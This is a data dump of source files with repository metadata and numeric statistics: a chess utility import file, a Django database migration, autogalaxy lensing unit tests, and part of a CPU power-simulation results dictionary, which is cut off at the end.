utils/__init__.py
|
VovaTch/AttentionChess
|
021fea4a02661b8af9de376ebc473fa5f58b3551
|
[
"MIT"
] | null | null | null |
utils/__init__.py
|
VovaTch/AttentionChess
|
021fea4a02661b8af9de376ebc473fa5f58b3551
|
[
"MIT"
] | null | null | null |
utils/__init__.py
|
VovaTch/AttentionChess
|
021fea4a02661b8af9de376ebc473fa5f58b3551
|
[
"MIT"
] | null | null | null |
from utils.util import *
from utils.random_chess_position_generator import generate_position
| 31
| 67
| 0.88172
| 13
| 93
| 6
| 0.692308
| 0.230769
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086022
| 93
| 2
| 68
| 46.5
| 0.917647
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
76f4750237b1cdbc02603894b248d7598422d46e
| 5,295
|
py
|
Python
|
corehq/form_processor/migrations/0051_auto_20160224_0922.py
|
rochakchauhan/commcare-hq
|
aa7ab3c2d0c51fe10f2b51b08101bb4b5a376236
|
[
"BSD-3-Clause"
] | null | null | null |
corehq/form_processor/migrations/0051_auto_20160224_0922.py
|
rochakchauhan/commcare-hq
|
aa7ab3c2d0c51fe10f2b51b08101bb4b5a376236
|
[
"BSD-3-Clause"
] | null | null | null |
corehq/form_processor/migrations/0051_auto_20160224_0922.py
|
rochakchauhan/commcare-hq
|
aa7ab3c2d0c51fe10f2b51b08101bb4b5a376236
|
[
"BSD-3-Clause"
] | null | null | null |
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('form_processor', '0050_allow_null_content_type'),
]
operations = [
migrations.AlterField(
model_name='casetransaction',
name='type',
field=models.PositiveSmallIntegerField(choices=[(1, b'form'), (2, b'rebuild_with_reason'), (4, b'user_requested_rebuild'), (8, b'user_archived_rebuild'), (16, b'form_archive_rebuild'), (32, b'form_edit_rebuild'), (64, b'ledger')]),
preserve_default=True,
),
migrations.AlterField(
model_name='commcarecaseindexsql',
name='relationship_id',
field=models.PositiveSmallIntegerField(choices=[(1, b'child'), (2, b'extension')]),
preserve_default=True,
),
migrations.AlterField(
model_name='xforminstancesql',
name='state',
field=models.PositiveSmallIntegerField(default=1, choices=[(1, b'normal'), (2, b'archived'), (4, b'deprecated'), (8, b'duplicate'), (16, b'error'), (32, b'submission_error'), (64, b'deleted')]),
preserve_default=True,
),
migrations.AlterField(
model_name='caseattachmentsql',
name='blob_id',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='caseattachmentsql',
name='identifier',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='caseattachmentsql',
name='md5',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='caseattachmentsql',
name='name',
field=models.CharField(default=None, max_length=255, db_index=True),
preserve_default=True,
),
migrations.AlterField(
model_name='commcarecaseindexsql',
name='domain',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='commcarecaseindexsql',
name='identifier',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='commcarecaseindexsql',
name='referenced_id',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='commcarecaseindexsql',
name='referenced_type',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='commcarecasesql',
name='domain',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='ledgervalue',
name='case_id',
field=models.CharField(default=None, max_length=255, db_index=True),
preserve_default=True,
),
migrations.AlterField(
model_name='ledgervalue',
name='entry_id',
field=models.CharField(default=None, max_length=100, db_index=True),
preserve_default=True,
),
migrations.AlterField(
model_name='ledgervalue',
name='section_id',
field=models.CharField(default=None, max_length=100, db_index=True),
preserve_default=True,
),
migrations.AlterField(
model_name='xformattachmentsql',
name='blob_id',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='xformattachmentsql',
name='md5',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='xformattachmentsql',
name='name',
field=models.CharField(default=None, max_length=255, db_index=True),
preserve_default=True,
),
migrations.AlterField(
model_name='xforminstancesql',
name='domain',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='xforminstancesql',
name='form_id',
field=models.CharField(default=None, unique=True, max_length=255, db_index=True),
preserve_default=True,
),
migrations.AlterField(
model_name='xformoperationsql',
name='operation',
field=models.CharField(default=None, max_length=255),
preserve_default=True,
),
migrations.AlterModelTable(
name='ledgervalue',
table='form_processor_ledgervalue',
),
]
| 37.288732
| 243
| 0.581303
| 483
| 5,295
| 6.180124
| 0.167702
| 0.140704
| 0.175879
| 0.20402
| 0.80134
| 0.80134
| 0.760134
| 0.760134
| 0.760134
| 0.660972
| 0
| 0.022548
| 0.304816
| 5,295
| 141
| 244
| 37.553191
| 0.788373
| 0
| 0
| 0.80292
| 0
| 0
| 0.145798
| 0.018319
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.007299
| 0
| 0.029197
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0a54c7b3ff1e064740676f7987327d6e88c19984
| 2,793
|
py
|
Python
|
test_autogalaxy/profiles/test_radial_minima.py
|
caoxiaoyue/PyAutoGalaxy
|
ad2b4b27404f5bf0f65ba9a0cd7c3ee6570e2d05
|
[
"MIT"
] | 7
|
2021-05-29T08:46:29.000Z
|
2022-01-23T14:06:20.000Z
|
test_autogalaxy/profiles/test_radial_minima.py
|
caoxiaoyue/PyAutoGalaxy
|
ad2b4b27404f5bf0f65ba9a0cd7c3ee6570e2d05
|
[
"MIT"
] | 3
|
2021-01-06T09:42:44.000Z
|
2022-03-10T15:52:23.000Z
|
test_autogalaxy/profiles/test_radial_minima.py
|
caoxiaoyue/PyAutoGalaxy
|
ad2b4b27404f5bf0f65ba9a0cd7c3ee6570e2d05
|
[
"MIT"
] | 3
|
2021-02-10T07:45:16.000Z
|
2022-01-21T17:36:40.000Z
|
from __future__ import division, print_function
from os import path
from autoconf import conf
import autogalaxy as ag
import numpy as np
import pytest
directory = path.dirname(path.realpath(__file__))
def test__grid_2d__moves_radial_coordinates__does_not_double_transform():
grid_2d = ag.Grid2D.manual_native(grid=[[[0.0, 0.0]]], pixel_scales=1.0)
grid_2d_offset = ag.Grid2D.manual_native(grid=[[0.0001, 0.0001]], pixel_scales=1)
isothermal = ag.mp.EllIsothermal(centre=(0.0, 0.0), einstein_radius=1.0)
convergence_1 = isothermal.convergence_2d_from(grid=grid_2d)
convergence_0 = isothermal.convergence_2d_from(grid=grid_2d_offset)
assert convergence_0 == pytest.approx(convergence_1, 1.0e-8)
grid_2d = ag.Grid2D.manual_native(grid=[[[0.5, 0.5]]], pixel_scales=1.0)
grid_2d_offset = ag.Grid2D.manual_native(grid=[[0.5001, 0.5001]], pixel_scales=1)
isothermal = ag.mp.EllIsothermal(centre=(0.0, 0.0), einstein_radius=1.0)
convergence_1 = isothermal.convergence_2d_from(grid=grid_2d)
convergence_0 = isothermal.convergence_2d_from(grid=grid_2d_offset)
assert convergence_0 != pytest.approx(convergence_1, 1.0e-8)
isothermal = ag.mp.EllIsothermal(centre=(0.5, 0.5), einstein_radius=1.0)
convergence_1 = isothermal.convergence_2d_from(grid=grid_2d)
convergence_0 = isothermal.convergence_2d_from(grid=grid_2d_offset)
assert convergence_0 == pytest.approx(convergence_1, 1.0e-8)
def test__grid_2d_irrergular__moves_radial_coordinates__does_not_double_transform():
grid_2d_irregular = ag.Grid2DIrregular(grid=[[0.0, 0.0]])
grid_2d_irregular_offset = ag.Grid2DIrregular(grid=[[0.0001, 0.0001]])
isothermal = ag.mp.EllIsothermal(centre=(0.0, 0.0), einstein_radius=1.0)
convergence_1 = isothermal.convergence_2d_from(grid=grid_2d_irregular)
convergence_0 = isothermal.convergence_2d_from(grid=grid_2d_irregular_offset)
assert convergence_0 == pytest.approx(convergence_1, 1.0e-8)
grid_2d_irregular = ag.Grid2DIrregular(grid=[[0.5, 0.5]])
grid_2d_irregular_offset = ag.Grid2DIrregular(grid=[[0.5001, 0.5001]])
isothermal = ag.mp.EllIsothermal(centre=(0.0, 0.0), einstein_radius=1.0)
convergence_1 = isothermal.convergence_2d_from(grid=grid_2d_irregular)
convergence_0 = isothermal.convergence_2d_from(grid=grid_2d_irregular_offset)
assert convergence_0 != pytest.approx(convergence_1, 1.0e-8)
isothermal = ag.mp.EllIsothermal(centre=(0.5, 0.5), einstein_radius=1.0)
convergence_1 = isothermal.convergence_2d_from(grid=grid_2d_irregular)
convergence_0 = isothermal.convergence_2d_from(grid=grid_2d_irregular_offset)
assert convergence_0 == pytest.approx(convergence_1, 1.0e-8)
| 39.338028
| 86
| 0.746151
| 413
| 2,793
| 4.716707
| 0.135593
| 0.067762
| 0.01848
| 0.166324
| 0.900411
| 0.87577
| 0.87577
| 0.843943
| 0.774127
| 0.722793
| 0
| 0.075707
| 0.139277
| 2,793
| 70
| 87
| 39.9
| 0.734609
| 0
| 0
| 0.585366
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146341
| 1
| 0.04878
| false
| 0
| 0.146341
| 0
| 0.195122
| 0.02439
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0a55103cef88ec76d2b9da44c55dbed9e615c54d
| 68,570
|
py
|
Python
|
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/SystemIPC_2/cmp_calculix/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/SystemIPC_2/cmp_calculix/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/SystemIPC_2/cmp_calculix/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate Leakage': 0.00662954,
'Peak Dynamic': 0.0,
'Runtime Dynamic': 0.0,
'Subthreshold Leakage': 0.0691322,
'Subthreshold Leakage with power gating': 0.0259246},
'Core': [{'Area': 32.6082,
'Execution Unit/Area': 8.2042,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.453692,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.559038,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 2.44827,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.122718,
'Execution Unit/Instruction Scheduler/Area': 2.17927,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.749453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 1.29778,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.744315,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 2.79155,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.365449,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 10.0036,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.46253,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0271683,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.366389,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.200926,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.828919,
'Execution Unit/Register Files/Runtime Dynamic': 0.228094,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 1.00964,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.9717,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155,
'Execution Unit/Runtime Dynamic': 5.95576,
'Execution Unit/Subthreshold Leakage': 1.83518,
'Execution Unit/Subthreshold Leakage with power gating': 0.709678,
'Gate Leakage': 0.372997,
'Instruction Fetch Unit/Area': 5.86007,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00158785,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00158785,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00137289,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000525929,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00288632,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.0074349,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0155859,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0590479,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.193155,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.486409,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.656043,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.96874,
'Instruction Fetch Unit/Runtime Dynamic': 1.35863,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932587,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.12768,
'L2/Runtime Dynamic': 0.0105818,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80969,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 4.66945,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.65425,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0351387,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.111044,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.111044,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 5.19596,
'Load Store Unit/Runtime Dynamic': 2.31293,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.273816,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.547632,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591622,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283406,
'Memory Management Unit/Area': 0.434579,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0971781,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0990816,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00813591,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.399995,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0797814,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.726496,
'Memory Management Unit/Runtime Dynamic': 0.178863,
'Memory Management Unit/Subthreshold Leakage': 0.0769113,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462,
'Peak Dynamic': 29.5841,
'Renaming Unit/Area': 0.369768,
'Renaming Unit/FP Front End RAT/Area': 0.168486,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.61366,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925,
'Renaming Unit/Free List/Area': 0.0414755,
'Renaming Unit/Free List/Gate Leakage': 4.15911e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0401324,
'Renaming Unit/Free List/Runtime Dynamic': 0.0577406,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987,
'Renaming Unit/Gate Leakage': 0.00863632,
'Renaming Unit/Int Front End RAT/Area': 0.114751,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.351372,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781,
'Renaming Unit/Peak Dynamic': 4.56169,
'Renaming Unit/Runtime Dynamic': 2.02277,
'Renaming Unit/Subthreshold Leakage': 0.070483,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779,
'Runtime Dynamic': 11.8395,
'Subthreshold Leakage': 6.21877,
'Subthreshold Leakage with power gating': 2.58311},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.241121,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.392076,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 1.30144,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.33306,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.537214,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.271167,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.14144,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.181393,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
